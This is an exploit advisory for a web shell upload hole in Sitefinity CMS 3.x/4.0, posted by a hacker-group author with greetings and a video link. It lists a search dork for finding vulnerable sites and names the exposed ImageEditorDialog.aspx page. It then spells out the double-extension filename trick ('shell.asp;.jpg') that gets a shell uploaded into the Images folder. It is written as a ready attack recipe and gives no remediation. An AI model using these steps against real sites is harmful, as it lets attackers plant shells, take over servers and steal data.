Sitefinity CMS Shell Upload

`=============================================================  
Sitefinity CMS (ASP.NET) Shell Upload Vulnerability  
=============================================================  
  
###################################################  
#  
# Exploit Title: Sitefinity CMS (ASP.NET) Shell Upload Vulnerability  
# DDate: 16/11/2010  
# Author: Net.Edit0r  
# Software Link: www.sitefinity.com  
# Version: 3.x . 4.0  
# Tested on: windows SP2 Francais V.(Pnx2 2.0)  
# dork : "Sitefinity: Login"  
# Contact: [email protected] ~ [email protected]  
#  
####################################################  
  
exploit # /UserControls/Dialogs/ImageEditorDialog.aspx  
  
first go to # http://site.com/sitefinity/  
  
then # http://site.com/sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx  
  
select # asp renamed via the .asp;.jpg (shell.asp;.jpg)  
  
Upload to # http://site.com/Images/[shell]  
  
  
Video : http://net-edit0r.persiangig.com/Film/0day.rar  
  
#######################################################  
  
Home : datacoders.org ~ ajaxtm.com #Iranian HackerZ  
  
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  
  
Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d ,Raiden , m4hd1 ,P0W3RFU7  
  
BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic ~ keracker  
  
`